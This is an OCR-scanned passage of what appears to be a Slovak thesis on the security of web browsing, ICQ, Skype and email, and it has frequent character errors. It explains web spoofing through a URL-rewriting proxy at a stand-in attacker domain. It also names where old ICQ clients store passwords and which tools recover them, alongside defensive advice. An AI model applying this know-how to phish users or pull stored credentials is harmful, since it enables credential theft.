ako falSovanie @ DNS, hacker moéze pouzit napriklad tento zapis: <A
HREF=https://www.hacker.sk /pasca/>Zadarmo - Klikni sem!</A>. Pouzivatel' vidi
stranku s hypertextovym odkazom Zadarmo - Klikni sem!". Po kliknuti na odkaz sa
pouzivatel dostane na iny bezpeCny server (na doméne hacker.sk) do adresara pasca.
Samozrejme v uzle pasca nebude ni¢ zdarma, ale ciel’ bude pod hackerovou kontrolou a
moze sa tam nachadzat’ doveryhodne vyzerajuca stranka, ktord pod nejakou zamienkou z
pouzivatela vymami doverné informdcie (napr. Cislo kreditnej karty). V pripade, Ze si
pouzivatel skontroluje cez ponuku svojho prehliadaca zdroj alebo informacie o
dokumente, zisti, Ze autentizovana identita serveru nie je ta, aki ocakaval, a ze sa jedna o
podvod.

Spol'ahlivou ochranou pred faloSnymi hypertextovymi odkazmi na WWW je
nenavstevovat’ nezname WWW stranky, alebo aspon nezverejnovat’ doverné informacie do
siete Internet. Urcita forma bezpecnosti sa da dosiahnut’ v intranovych sietach a v sietach

ochranenych firewallmi, z ktorych je zakazany pristup do Internetu.
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2.11.2 Manipuldcia WWW

Cielom tutoku je manipuldcia informacii prezentovanych na WWW strankach
prostrednictvom manipulovania obsahu WWW stranky za ucelom nelegalneho ziskania
dévernych informacii.

Manipulacia WWW (web spoofing) je d’alsim typom utoku na WWW stranky. Pri
tomto sposobe vytvori hacker presved¢iva kopiu celého WWW uzla. Zmanipulovana
(faloSnd) WWW stranka vyzerd presne ako skutoCnd, faloSny uzol obsahuje rovnakeé
podstranky a odkazy ako skuto¢ny uzol. Jedinym rozdielom je, ze podlieha hackerovmu
riadeniu, takZe celd komunikacia medzi prehliada¢om obete a WWW strankou ide cez
hackera. Tento utok umoziuje hackerovi pozorovat alebo modifikovat' vsetky udaje
smerujuce od obete k WWW serveru a riadit’ spatni komunikaciu od servera k obeti.

Pocas utoku hacker zaznamenava obsah stranok, ktoré obet’ navstevuje. Ked’ obet
vyplni HTML formular, prehliadac¢ odosle tieto uidaje serveru. Do spojenia medzi server a
klienta sa nabtral hacker, ktory je tak schopny zaznamenat vSetky tdaje vyplnené
klientom. Okrem toho moze hacker zaznamenavat’ aj udaje, ktorymi odpoveda server na
poziadavky klientovi. Vzhl'adom k tomu, ze vicSina online obchodov pouziva formulare,
hacker ma moznost’ ziskat’ ¢isla uctov, hesla a iné doverné informacie, ktoré vyplni obet’
do formularu. Hacker moze pozorovanie uskutocnit’ aj vtedy, ked’ obet’ nadviaze zdanlivo
bezpecné spojenie pouzitim SSL. Hacker je taktieZ schopny modifikovat’ l'ubovolné tidaje,
prechadzajice v obidvoch smeroch medzi obet'ou a serverom. Napriklad obet’ si objedna 5
striebornych tanierov, hacker moéze zmenit' ¢islo produktu, mnozZstvo objednavaného
tovaru alebo adresu dodavky a nechat’ si tak poslat’ na Gcet obete napriklad 25 zlatych
tanierov. Hacker moze modifikovat' aj udaje, ktoré server klientovi vracia, takze do
dokumentu o potvrdeni obchodnej transakcie vlozi obetou ocakavané tdaje a obet’ si
vSimne podvod az pri kontrole stavu svojho uctu.

Dalsou vyhodou manipulaicie WWW pre hackera je, 7e¢ v skutoénosti nemusi
uchovavat’ obsah celého WWW servera, podl'a definicie je vSetko pristupné online, takze v
pripade potreby hacker prislusni stranku stiahne zo skuto¢ného servera a pouzivatelovi
poskytne falosnu kopiu. Poziadavka o stranku prechdadza hackerovym pocitacom, takze
hacker méze vyhladat’ kazdi nova stranku o ktoru obet’ poziada, faloSny server potrebuje
falo$né stranky uchovavat iba v priebehu realizacie Utoku.

Nevyhnutnym zdkladom utoku je vlozenie sa hackera medzi pouzivatela a WWW
server (tajny sprostredkovatel’) podobne ako pri faloSnom hypertextovom odkaze. Prvym

hackerovym krokom je zmodifikovanie vsetkych URL lokatorov na niektorej WWW
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stranke tak, aby v skutoCnosti ukazovali na server hackera a nie na skutocny server.
Napriklad hackerov server sa nachadza v doméne hacker.sk. Hacker prepise URL tak, Ze
pred kazdu adresu vloZi http://www.hacker.sk/, zmenena adresa potom moéze vyzerat
nasledovne: http://www.hacker.sk/www.obchod.sk/. V pripade ze pouzivatel’ klikne mySou

na odkaz http://www.obchod.sk/, ieho prehliada¢ v skutocnosti poziada o stranku z

www.hacker.sk, pretoze zmenend URL zacina http://www.hacker.sk, zvy$na Cast’ adresy
povie serveru hackera, kde sa v skutoCnosti nachadza obetou pozadovany dokument.
Potom ako hacker vyhlad4d pozadovany dokument, zmodifikuje vSetky URL v aj v tomto
dokumente obdobnym spdsobom, doplnenim cesty k svojmu serveru pred kazdi URL na
vyZziadanej stranke. Takto upravenu stranku potom poskytne hacker prehliadacu klienta.
Vzhl'adom k tomu, ze na zmodifikovanej stranke ukazuja vSetky URL naspét’ na hackerov
server aj v pripade, ze si obet zvoli dalsi odkaz z novej stranky hackerov server
poziadavku opét’ zachyti. Takto méze byt obet uvdznena v zmanipulovanych WWW
strankach a m6ze donekonecna cestovat’ cez odkazy bez toho, aby opustia falosSny WWW
server.

Medzi najneprijemnejSie vlastnosti manipulacie WWW pre pouzivatela je ta
skutoCnost,, ze utok funguje aj v pripade vyziadania stranky cez bezpecné spojenie. V
pripade, Ze sa pouZzivatel pokusi nadviazat bezpecné spojenie s WWW (pouZitim
protokolu SSL) prostrednictvom zmanipulovaného WWW servera, hackerov pocita¢ doda
pozadovani stranku a prehliada¢ zapne indikator bezpecného spojenia. Prehliadac
informuje o tom, Ze je pripojeny cez bezpecné spojenie, lebo je skutocne pripojeny
bezpe¢nym spojenim, problém je ,,iba" v tom, ze je to bezpetné spojenie so Serverom
hakera a nie s pozadovanou WWW strankou.

Aby sa mohol samotny Gtok zacat, musi hacker nejakym sposobom svoju obet’ vlakat
na zmanipulovant WWW stranku. Z predchadzajucich riadkov vyplyva, ze ak obet raz
uviazne na faloSnom WWW serveri, je problematické z pasce tohoto utoku uniknut.
Hacker mo6ze pouzit niekol’ko spdsobov ako podhodit’ pouzivatelom svoj odkaz na
zmanipulovand WWW stranku, napriklad:

* hacker vlozi odkaz na falosni WWW stranku do inej popularnej a ¢asto navstevovanej

WWW stranky,

v pripade Ze obet pouziva WWW mail klienta, hacker méze obeti poslat’ od kaz na
faloSnu WWW stranku mailom,

* hacker m6ze mailom poslat’ obeti zmanipulovany obsah WWW stranok,
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* hacker moze oklamat niektory WWW vyhladavac, aby zaradil do indexu aj cast

zmanipulovanej WWW stranky.

Ak sa hackerovi podari vlakat’ obet’ do pasce faloSnych WWW stranok, je nutné, aby
bola obet’ neustale presvedcenad, ze sa nachadza na skutocnych (pravych) WWW strankach.
Jestvuju Styri zakladné postupy, pomocou ktorych sa modze pouzivatel' presvedcit,

¢i sa nestal obet’'ou manipulacie WWW.

Stavovy riadok prehliadata moze v pripade zablokovania niektorych funkcii
prehliadaca zobrazit’ niektoré informacie prezradzajice prebiehajuci utok. Zobrazené tidaje
o stranke mo6zu poskytnut’ ndznaky toho, Ze obet’ vstupuje, alebo sa pohybuje vo faloSnych
WWW strankach. Napriklad, ak pouzivatel’ nastavi ukazovatel’ mysi na odkaz, prehliadac
moze v stavovom riadku zobrazit’ absolutnu adresu odkazu. Ani tento spdsob odhalenia
utoku nepatri medzi spolahlivé, lebo hacker méze vyuzitim schopnosti stranky riadit
vlastnosti prehliadaca, pouzit’ urcité programatorské techniky a priznaky Gtoku eliminovat'.
Hacker moéze pouzit' napriklad Javu, JavaScript alebo VBScript na manipuldciu so
stavovym riadkom prehliadaca. Falosna stranka moZzZe zanechavat dva druhy stop v
stavovom riadku prehliadaca. Prvym druhom je uZ spomenuté zobrazenie absolitnej URL
odkazu, na ktorej si méze obet’ v§imnut, ze ju hacker zmodifikoval. Druhou stopou médze
byt vypis v momente, ked prehliada¢ vyhladdva stranku, stavovy riadok na moment
zobrazi meno servera, ktory prehliada¢ skontaktoval. Obet’ si mbze v§imnut, Ze stavovy
riadok zobrazil www.hackers.sknamiesto ocakavaného www.obchod.sk. Okrem toho, Ze
hackerov program zmanipuluje obsah stavového riadku, méze byt naviazany na urcité
udalosti a vzdy ukazovat’ obeti oakavané informacie zo skutocnej WWW stranky, napr. aj
vo chvili prechodu na novad stranku.

Riadok adresa (address, location) v prehliadaci zobrazuje URL prave navstevovanej
stranky. Zadanim URL do tohoto riadku pouzivatel’ prikaze prehliadacu vyZziadanie zdroja
s danou adresou, bez hackerovho dodato¢ného zasahu by riadok zobrazoval sfalSovana
URL napr. http://www.hacker.sk/www.obchod.sk/, ¢o by takmer urcite viedlo k prezradeniu
utoku. Ale aj v tomto pripade moze hacker zobrazované informacie manipulovat’ pridanim
Specialneho programu, ktory nahradi skuto¢ny obsah falosnym. Falo$ny riadok zobrazuje
oCakavané informacie a tiez je schopny prijimat’ vstup z kldvesnice a tym pouzivatel'ovi
zadat’ URL, ako za normalnych okolnosti. Hackerov program potom zmeni zadané URL

skor, prehliada¢ poziada o pristup.
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Zobrazenie zdrojového koédu dokumentu. Vo vicSine pouzivanych WWW
prehliadacov sa v hlavnej ponuke nachiadza polozka zobrazenie zdrojového HTML textu
zobrazenej stranky. V pripade, Ze pouZivatel nadobudol podozrenie, ze sa stal obet’ou
manipulacie WWW stranok, moze prehl'adat’ zdrojovy kod stranky a vyhladat’” zmenené
adresy. Ako aj v predchadzajacich dvoch pripadoch, mdzZe hacker pouZitim zaSkodnickeho
programu skryt’ riadok z ponuky prehliada¢a a nahradit’ novym obdobnym riadkom, ktory
ale otvori nové okno, v ktorom zobrazi pévodny (nezmanipulovany) HTML text.

Zobrazenie informacii o dokumente je poslednym sp6sobom odhalenia
prebiehajuceho utoku. V ponuke WWW prehliadaca sa nachadza polozka umoziujica
zobrazit' informacie tykajice sa zobrazeného dokumentu, ktoré obsahuju aj URL danej
stranky. Hacker moze rovnakym spdsobom ako pri polozke zobrazenia zdrojového kodu
nahradit’ informacie o dokumente pouzitim falosného riadku ponuky, hacker vytvori nova
ponuku, ktord zobrazi nové dialdgové okno so zmanipulovanou informéaciou.

Z predchadzajucej charakteristiky utoku prostrednictvom zmanipulovanej WWW
stranky vyplyva, Ze sa jednd o nebezpecny a takmer nezistitelny utok. Pre minimalne
zabezpecenie pred tymto utokom by mali pouzivatelia dodrziavat’ nasledujtcu stratégiu:

. Vo svojom WWW prehliadaci zakazat’ pouzivanie Javy, JavaScriptu a VBScriptu, aby
hacker nemohol skryvat’ priznaky utoku.

2. Presvedcit sa, ¢i je vo WWW prehliadaci riadok uvadzajici adresu stale viditel'ny.

3. Nepretrzite venovat’ pozornost URL, ktort prehliada¢ zobrazuje a presvedéit’ sa, Ze

zobrazuje spravnu adresu servera.
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3. Analyza bezpeé¢nosti komunikaénych programov

3.1 Analyza bezpecnosti ICQ

Komunikaény program s ndzvom ICQ pracuje s protokolom peer-to-peer. Program
bol vytvoreny Studentmi z lzraela, ktori v roku 1996 zaloZili firmu Mirabilis Ltd. Ich
zdmerom bolo zmenit' Svet internetovej komunikacie. Coskoro po zaloZeni firmy uviedli
na trh avodna verziu audiovizualneho softvéru pre komunikaciu v realnom c¢ase pod
nazvom [CQ. Zo zaciatku eSte iSlo o menej znamy produkt, ale momentidlne sa pocet
uzivatel'ov odhaduje na vyse 270 milionov. V roku 1998 spolocnost’ Mirabilis kupila
gigantickd americkd spolo¢nost AOL za 280 milionov dolarov. Tym vznikla nova
spolo¢nost’ ICQ Inc.

Hlavnym prvkom systému je databadza umiestnend na serveri. Tu su totiz ulozené
vietky data ohladom pouzivatelov a ich unikatne cCisla UIN. UIN sa prideluje pri
registracii do systému ICQ. V databdze je tieZ zaznamenany zoznam kontaktov
pouzivatela. Program je unikdtny v tom, Ze dokaze informovat o0 aktudlnom stave
uzivatela v contact liste, ¢i je online pripadne offline. Momentalne tato funkciu obsahuja

takmer vSetky podobné IM (instant messaging) programy. Originalita patri prave 1CQ.

Ak chce uzivatel komunikovat’ pomocou programu ICQ, sta¢i kliknit’ na prislusnu
ikonu uzivatela, ktory sa nachadza v adresari. Nasledne sa otvori okno, ktoré slizi na
komunikéciu. Do riadku sa jednoducho vpiSe text spravy, ktory sa odosle pomocou klavesy
enter. V pripade ak adresat nie je momentalne online, sprava sa po odoslani uloZi na

serveri a po pripojeni do systému mu bude odoslana.

V pripade dokazovania problematickosti programu ICQ, viésinou sa odkazuje na
najviditel'nej$i a najznamejsi problém. Verzia 2001b a starSie obsahovala plugin Voice
Video Game, ktory obsahuje bezpecnostni dieru, ktoré umoznuja Utoky typu Buffer-
Overflow.

Pri tomto druhu Utoku zaSle potencionalny uto¢nik adresatovi regularnu poZiadavku,
v ktorej sa nachadza Skodlivy kod. Vdaka bugu na napadnutom pocita¢i ju program
vykonad. Takymto spOsobom sa d& zhodit' program, v niektorych situdciach zhodit' aj
pocitac. Pripadne je mozné spustit’ d’alsi program alebo vykonat’ inStrukcie nepriatel'ského

charakteru.
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Komunikéacia pomocou programu ICQ nie je bezpe¢na zo samotného principu.
Utoénik Gasto protokol ICQ oznaduje za “takzvany protokol“. NardZa na fakt, Ze ide
0 jednoduchi textovd komunikaciu, bez Ziadneho Sifrovania ¢i overovania.

Komunikéciu cez ICQ je mozné jednoducho odpocuvat,, je to trivialny text. Okrem
in¢ho je mozné zistit’ aj heslo, pomocou ktorého sa uzivatel’ prihlasuje k serverom ICQ. Zo

server sa daju jednoducho zistit’ informacie o uzivatel'ovi, ktoré zadal pri registracii konta.

V pripade ak sa utocnik, chce prezentovat’ za niekoho iného, staci si pockat’ pokial
urcity uzivatel' bude offline (pripadne sa pokusit’ zhodit’ jeho systém pomocou zndmych
utokov) a posielat’ textové spravy ako niekto iny. Program ICQ neoveruje identitu
odosielatel’a (nezistuje, ¢i unikatne ¢islo méze pouzivat’). Sice odchytava spatnu vazbu, ale
to vzhl'adom k akejkol'vek absencii $ifier nie je velky probléem.

Na uzivatel'a komunika¢ného programu ICQ sa da zattocit’ aj ovel’a primitivnejSimi
technikami.

Program ICQ tiez umoziuje posielanie suborov medzi pouzivatelmi a to aj cez
firewall, pripade ak sO je nastaveny. To uZ je ale problém spravcov sieti. Poslat
uzivatel'om ICQ tréjskeho kona alebo iny zavireny program je vel'mi jednoduché.

V tomto pripade sa program zneuZiva na personalizovane Utoky, kedy hacker vie, za
koho sa vydava a s kym komunikuje. Nejde tak o Gtoky automatického charakteru. O to

viac st presonalizované ttoky nebezpeénejsie.

Vaznym problémom pre bezpecnost firmy mdze znamenat posielanie
neSifrovanych sprav a informécii. Hlavne z tohto ddvodu je vo viacerych firmach
pouZivanie programu ICQ zakazané. Tyka sa to najma institucii z finan¢nej ¢i IT oblasti.
Informatici, ktori sa staraji o bezpecnost’ sieti, rozumne ICQ blokuju a maji na to
podporu u vedenia firmy. AOL sa bezpe€nostou zaobera velmi malo a je celkom
zbyto¢né hl'adat’ diery priamo v programe, ked’Ze je nespol’ahlivy hlavne protokol.

Pohl'adom spit’ som zistil, ze unikatne identifikatory kazdého uzivatel'a (UIN) sa do
profilovych stiborov premietali priamo. Pre verziu 2002 a starSie totiz platilo, Ze vSetky
podstatné informacie boli k dispozicii v siboroch s nazvom UIN.dat. Uzivatel' ¢islo
12345678 tak ma svoj adresar, login, heslo aostatné informécie uloZené v subore
12345678.dat.

Pre vypisanie vSetkych relevantnych informacii a ddajov sa da vyuzit' niekolko

utilit. Jedna zo starSich utilit, ktora je dostupna freeware sa vola 1ICQr Information. D& sa
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stiahnut' volne na Internete. ICQr Information okrem zobrazenia tidajov umoziuje aj

export do prehl'adného a Struktarovaného suboru HTML.:

ICQr Information Database Expork x|

Please enter HTML filename For expart:

II::"uF'r-:ngram Fileg\COM 2002441 2345673, hitml

[ sections to export
v personal information W password browse
[ internet information
[v interestsfabouk export
[ contacts cancel
v include IC0 online status images

Obr. ¢. 1 Zobrazenie exportu dat pomocou ICQr Information
Zdroj: Vlastny

Novsie klienti hesld neukladaju do stborov s profilom, ale vyuzivaju registre OS
Windows. Pre pripadné ziskanie hesiel a dat z registrov OS musi mat potencionalny
uto¢nik relevantné prava. Pri spusteni vhodnej utiliti, ziska zo Sifrovanych hesiel ich
otvorenU variantu. Heslo v necitatel'nej variante je v registri OS mozné najst’ v kIaci s

ostatnymi nastaveniami programu 1CQ, teda

HKEY_CURRENT_USER / Software / Mirabilis / ICQ / NewOwners

Aj v tomto pripade je dostupné freeware utilita Lite Password Recovery, ktora je

kompatibilna s verziou ICQ 5.04 a starSie.

ICQ2003/Lite Password Recovery ¥1. El

Decrypred passwards: ;l
123456789 abcabcab (inhex: 61 62 63 61 62 63 61 62)

[
About | O, I

Obr. ¢. 2 Utilita na ziskavanie hesiel Lite Passowrd Recovery
Zdroj: Vlastny

27



Z kategorie platenych utilit je zrejme najlepSia Advanced IM Password Recovery.
Vyrobcom je spolo¢nost’ ElcomSoft. Aplikacia dovoluje okamzite rekonStruovat’ hesla IM

klientov.

4 hdvanced IM Password Recovery |Z E|E|

2 % @doe ol

Status window

E wamined file: 'D:%\Program FileshPazzword Recoven 42620819, dat’
lcg wersion: 990 - 2002a
Found pazsword: \JohnDoe' lin hex: ‘44 6F 63 BE 44 BF B5'

AIMPR 2.20 (] 2001-2004 ElcomSaft Ca. Ltd.

Obr. ¢. 3 Utilita na ziskavanie hesiel Advanced IM Password Recovery
Zdroj: Vlastny

Pri instalacii ICQ klienta sa moze uzivatel’ stretnit’ s volbou, ¢i ho vyuzivat' iba
uzivatel’ samotny, pripadne viaceri. Prave toto rozhodnutie mé& potom priamy vplyv na to,

¢i sa hesla buda ukladat’ alebo nie.

Dalsia moznost, ako sa dostat K informaciam uZivatela ICQ komunikacie,
predstavuje sniffing. Pre uto¢nika vhodnych sietovych nastaveniach a architektire mozno
na lokalnej sieti zneuzit' nesifrovany komunikaény protokol pre ziskanie kompletného
prehladu o dialogu iného uzivatela. Sniffing priamo ponika moznost filtrovanie paketov
patriacich 1CQ spojeniu. Potencialny Gto¢nik tak nestraca ¢as skimanim a prehladavnim
balastu. Uspe$né vykonanie man in the middle Utoku vedie k ziskaniu prihlasovacich

hesiel, moznosti podvedenia odoslanych sprav na obe strany a podobne.

3.2 Analyza bezpec¢nosti Skype
Skype sa dokézalo pocas vel'mi kratkej doby presadit’ na celom svete. Vel'a l'udi ho

denne pouziva na telefonovanie po Internete. Ma ale aj svoje nevyhody, o ktorych by mali
uzivatelia vediet’. Bezpecnost.

Ked’ sa objavi softvér s uzatvorenym vyvojovym modelom a hlavne nedostupnymi
zdrojovymi kodmi, stdva sa velmi casto terom kritiky zo strany sympatizantov open
source. Ti st ale druhou stranou okamzite obvineni z fanatizmu a extrémizmu.

Nejde len o jednoduchy fakt, ze si uzivatel nemoze precitat’ zdrojové kody, ale
predovsetkym o d’alSie nevyhody, ktoré z toho plynti. Bezného uzivatela samozrejme kod
priamo nezaujima, ale jeho dostupnost’ ma priame dosledky, ktoré sa ho dotykaji, nech si

ich pripustia, alebo nie. Presne toto je aj pripad Skype.
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Medzi hlavné prednosti Skype, ktoré mu pomohli na vyslnie, patri urcite jeho
jednoduch4 obsluha a pouzitelnost’ takmer kdekol'vek. Ziadny firewall ani NAT nebrani
v komunikécii.

Nevyhod je vSak tieZ viacero, rozdelil som ich do 10 bodov.

3.2.1 Uzavrety protokol

Samotny protokol, ktory Skype pouZiva na komunikaciu so servermi, ale aj
ostatnymi klientmi, je uzavrety. To pre uzivatela na jednej strane znamena, ze nevie, ¢o 0o
nom eviduje systém. Zaroven to ma aj praktické dosledky. Nemodze vytvarat novych
Klientov pre Skype, ktoré by vedeli viac ako ten originalny a zaroven by rieSili va¢sinu
nevyhod v tomto zozname.

NavySe su uzivatelia obmedzeni len na platformy, ktoré sa vyhovuji spolocnosti
vyvyjajuce Skype. Ak uzivatel’ pouziva niektorého z minoritnych operacnych systémov
alebo pouZiva nejakd netradi¢ni kombinaciu hardvéru a softvéru, nemédze program
pouZzivat.

3.2.2 Centralne riadenie sluzby

Centralna sprava nikdy nevesti ni¢ dobrého. Samotny Internet bol od zaciatku
definovany ako decentralizovana siet’, ktora je uplne odolna voc¢i akémukol'vek vypadku,
zmene politick€ho myslenia alebo akémukol'vek pokusu ju zastavit’.

Skype je ovladany jednou spolo¢nost'ou, ktora ma pravo ho kedykol'vek vypnut, zmenit,
spoplatnit’ a podobne. Navyse su vSetky tidaje ako heslo uzivatel'a a contact list ulozené na

centralnom serveri, ktory moze byt kedykol'vek Gspesne napadnuty.

3.2.3 Kontrola nad tokom dat

Zo strany uzivatela ziadne. Zo strany spoloc¢nosti Skype tplna. Vd’aka modelu, ktory
Skype pouziva na prenos dat, je absolutne nemozné, aby uzivatel’ kontroloval, kadial’ tect
jeho data.

Cestu od uzivatela k uzivatel'ovi totiz priamo vyberad centralny server, takze nemate
Sancu. NavysSe sa mdze pocas hovoru mnohokrat zmenit'. Nikdy preto neviete, kadial’ vase

data tecu a €i nie je na trase niekto nebezpecny.

3.2.4 Funkcia supernode
S principom prenosu dat uzko suvisi aj d’alsi bod. Model je jednoduchy: uzivatelia,

ktori sedia za proxy, NAT alebo nejakym prisnym firewallom, si prosté uzly. Naopak ti,
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ktori st na linke s verejnou IP adresou, si povyseni na takzvanych supernodov. Stanu sa z
nich uzly, ktoré potom sluZia ako ustredne pre prenos komunika¢nych dat a audio pradov.
Je tomu tak preto, aby bolo mozné spojit’ dvoch uzZivatelov za NAT, a zaroven preto, aby

nebolo mozné odrezat’ spojenie na firewalle.

3.2.5 Podpora komer¢nej firmy

Dalgie neprijemné dosledky, ktoré z toho vyplyvaji, su zrejmé. Spoloénost’ Skype
vyuziva hardvér uzivatela pre pripojenie na Internet, a umoznuje tak prevadzkovat’ ich
sluzbu. Tato sluzba je vSak komercného charakteru. Samozrejme medzi uzivate'mi
umoziuje telefonovat’ zadarmo, ale celkovo sluzi Skype na zarobku jednej spolo¢nosti.
Hovory idi cez supernodov v kazdom pripade. Inak by bolo jednoduché zamedzit
pouzivanie Skype pre telefonovanie do beznych sieti. Stacilo by nastavit’ na firewallu

spravne pravidlo a zamedzit’ pristup na spravny server.

3.2.6 MoZnost’ odpocivania

Toto je velmi podstatnd nevyhoda pre mnoho uzivatelov. Hoci je pri prenose
pouzitd pomerne silnd Sifra RSA s dizkou kltda 2048 bitov, Skype jasne svojim
uzivatel'om hovori, ze v pripade sidneho rozhodnutia je schopné hovory poctvat.

Mo6zu to zariadit dvoma sposobmi. Mozu dat’ klientovi prikaz, aby previedol
komunikéciu na konkrétne supernody a aby neSifroval alebo nejako oslabil Sifrované
spojenie. Staci k tomu pouzit’ obmedzent mnozinu kl'acov.

Tuto moznost’ potvrdil aj Vlastimil Klima, odbornik na Sifrovanie z Crypto-World:
"Ak bude systém (vratane generovanie kIicov) pod kontrolou, bude vidiet’, Ze sa pouziva
len 100 kl'aéov a aj bude vidiet, aké to su. Cize ten, kto bude mat’ pristup k opisu celého

systému (algoritmus plus kli¢ové hospodarstva), bude toto vediet a moéze deSifrovat

vel'mi jednoducho. "

3.2.7 Nebezpecna licencia

Samotna licencia, pod ktorou je Skype Sireny, je tiez vel'mi zaujimava. Licencia je
silne jednostranna a nedava uzivatelom prili§ vela prav. Naproti tomu umoziuje
kedykol'vek firme Skype vypovedat’ komukol'vek sluzby. Najhorsie na celej licencii ale je,
ze vyslovne umoziuje zmenu licencénej politiky, ktora firma ozndmi volnym vydanim

novej licencie na svojich strankach.

30



3.2.8 Premenliva kvalita hovoru

Posledna trojica nevyhod je Cisto praktického charakteru. Prva je premenliva kvalita
hovoru, na ktort poukazuje vel'a uzivatel'ov. Je opit’ spdsobend komunikaénym modelom.
Kvalita supernodov sa totiz s ¢asom meni vplyvom mnohych faktorov, ako su rdzne
zataZzenie hardvéru a liniek.
Rovnako routing nie je vZzdy optimalny a uZivatelia komunikujuci napriklad z Bratislavy
do Kunovic su vel'mi Casto prepojovani napriklad cez mesto v Amerike. To sposobuje

nemalé meskania.

3.2.9 Prevadzku Skype nemozno obmedzit’

Toto je nevyhoda pre mnoho spravcov na celom Svete. Bezpecnostna politika
mnohych firiem striktne zakazuje akékolvek IM formy komunikacie, medzi ktoré
samozrejme Skype patri. Vdaka tomu, Ze je od zaciatku navrhnuty s cielom prejst
kdekol'vek, je jeho blokovanie viac ako tazké.

To sice nahrava uzivatelim, ale zaroven komplikuje zivot spravciim sieti, ktori mézu mat’

zo Skype vela tazkt hlavu. Priemyselna Spionaz méze mat’ za urcitych okolnosti zelent.

3.2.10 Nedostupnost’ zdrojovych kddov
Nakoniec sa dostavam ku kontroverznému bodu, o ktorom som pisal na zaciatku.
Samy o sebe su zdrojové kody na prvy pohlad nezaujimavé, ale ich zverejnenie by mohlo

vyriesit’ vSetky spomenuté nevyhody.

Vyrobca Skype vyhlasuje, Ze hovory su silno Sifrované, ale zarovenn v oficialnej

politike sikromi pripusta pravne podlozené odpocivanie.

3.3 Analyza bezpecnosti emailovej komunikacie
Napriek tomu, ze vSeobecne sa pod pojmom internet ¢asto chape sluzba WWW

(World Wide Web), je najviac vyuZivanou sluzbou na Internete prave elektronicka posta e-
mail. Na z&klade toho, ze e-mail vyuziva v podstate kazdy uzivatel’ Internetu, je to miesto,
ktoré sa Casto stava teréom roznych Gtokov a branou k sukromnym informaciam ¢i heslam.
Principy, na ktorych dnes funguje e-mail, boli navrhnuté vel'mi davno, eSte v pociatkoch
vzniku Internetu a vtedy sa o probléme bezpe¢nosti vel'mi neuvazovalo. Protokol SMTP
(Simple Mail Transfer Protocol), ktory zabezpeCuje zasielanie e-mailov ma teda vela

nedostatkov v oblasti bezpe€nosti.
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Medzi beznym “papierovym" listom ae-mailom nie je az taky velky rozdiel. V
podstate jediny rozdiel je v rychlosti doru¢ovania. Z hl'adiska bezpe€nosti su tieto dve
formy prenadSania informacii skoro identické. Bezny postovy list hodime do schranky, kde
ho vyberie postar a list zac¢ina putovat’ az k adresatovi. Pritom navstivi r6zne posty, kde si
ho mo6ze poStovy personal nad parou otvorit” a precitat, pripadne pozmenit’ jeho obsah. V
pripade e-mailu cely tento proces vyzera skoro rovnako, len forma prenosu je ind. E-mail
napiSeme na pocita¢i a e-mailovym klientom (napr. Outlook) ho poSleme z naSej e-
mailovej schranky (miesto na serveri nasho poskytovatela pripojenia). Tento e-mail sa
potom na svojej ceste Internetom este zastavi (alebo prejde) cez niekol’ko inych serverov,
az kym bude doruceny do e-mailovej schranky na serveri adresata. Na kazdom z tychto
serverov si dany e-mail moze spravca systému alebo iné povolané osoby precitat’, pripadne
pozmenit. Na zaklade tychto poznatkov mozeme skonStatovat, ze sluzba elektronicke;j
posty nie je z hl'adiska prenosu informacii bezpe€na. Pokial nie je aplikovana nejaka forma

Sifrovania povazuje sa prenos dat a informacii po internete za nebezpecny.

Dnes sa na Sifrovanie e-mailov vyuzivaju pokrocilejsie metddy asymetrického
Sifrovania. V praxi to funguje tak, ze mame dva kl'u¢e (kIi¢ je akysi retazec znakov, ktory
definuje dané Sifrovanie), sukromny (private key) a verejny (public key). Medzi tymito
dvoma kli¢mi existuje akysi vzt'ah. To Co zaSifrujeme verejnym sa da rozsifrovat iba
sukromnym (a naopak). Verejny klIu¢ poskytujeme volne na stiahnutie napriklad na
webovej stranke. Ak nam potom niekto chce poslat’ zaSifrovany e-mail, stac¢i ak ho
zaSifruje nasim verejnym kl'acom. Takyto e-mail sa da rozSifrovat’ iba nasim stkromnym

kla¢om, ktory si teda musime patri¢ne chranit’.

Dalsim problémom bezpeénosti je autentickost obsahu a odosielatela sprav, &i uz
beznej posty alebo e-mailov. Autentickost’ odosielatela bezného postového listu je dana
podpisom na konci tlaceného listu. Dnes to uz ale predsa nie je vobec problém naskenovat’
cudzi podpis a farebne vytlacit. Pri e-mailoch je to podobné. Do poloZzky "From" a
"Return—Path" sa da napisat’ cokol'vek, napr. bill.gates@edukomplex.cz. Odkial’ dany e-
mail skuto¢ne prisiel sa mdzeme pokusit’ vycitat' jedine z hlavicky e-mailu, kde tato
informacia ale tiez nemusi byt’ obsiahnuta (teda skuto¢ny odosielatel’ méze zostat’ utajeny).

Ked sa zamyslime nad autentickost’ou obsahu, pri beznom liste neexistuje moznost’ ako
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overit, ze dany obsah je skuto¢ne autenticky. Pri e-maile sa vyuZiva elektronicky

(digitalny) podpis, ktory plne zabezpe¢i autentickost’ obsahu a odosielatel'a spravy.

3.3.1 Protokol POP3

Post Office Protocol (d’alej len POP) je poStovy protokol na aplikacnej vrstve, ktory
sa vyuziva na prijimanie elektronickej posSty zo vzdialeného servera prostrednictvom
TCP/IP spojenia. PosStovy protokol je séria pravidiel o tom, ako sa ma riadit' prenos
elektronickej posty medzi dvomi bodmi v sieti. POP pracuje pomocou TCP/IP spojenia.
POP3 funguje na ,pull“ principe, to znamena, Ze klient odoSle na vzdialeny server
pomocou TCP/IP spojenia poZiadavku, aby mu server preposlal e-maily ktoré sa
nachadzaju na Géte uZivatel'a a nasledne, ak nie je klient nastaveny inak, e-maily odstrani.
POP3 je vyhodny pre uzivat'elov ktory nemaju staly resp. maji asovo obmedzeny pristup
k internetu (napr.: dial-up). V takomto pripade staci aby sa uZzivatel’ pripojil na internet,
pomocou klienta prijme e-maily zo servera a nasledne sa odpoji. Pre niektorych uzivatel'ov
vyuzivajucich POP3, méze byt nevyhodou nemoznost’ filtrovania prijatych e-mailov, to
znamend ze uzivat'el prijme aj nevyziadané spravy tzv. spam.

Aj ked POP3 je samostatne nezabezpefeny protokol, v stcasnosti je dostatone
bezpeceny, ale vicsina bezpe¢nostnych prvkov zavisi od podpory e-mailového klienta a
vzdialeného servera. V predvolenych nastaveniach st vSetky informacie prenasané
nezaSifrované, o vedie k moZnosti jednoducho odchytit’ prihlasovacie tdaje k uctu
uzivatel'a alebo prendane e-maily. Velké mnozZstvo dnes pouzivanych klientov a serverov
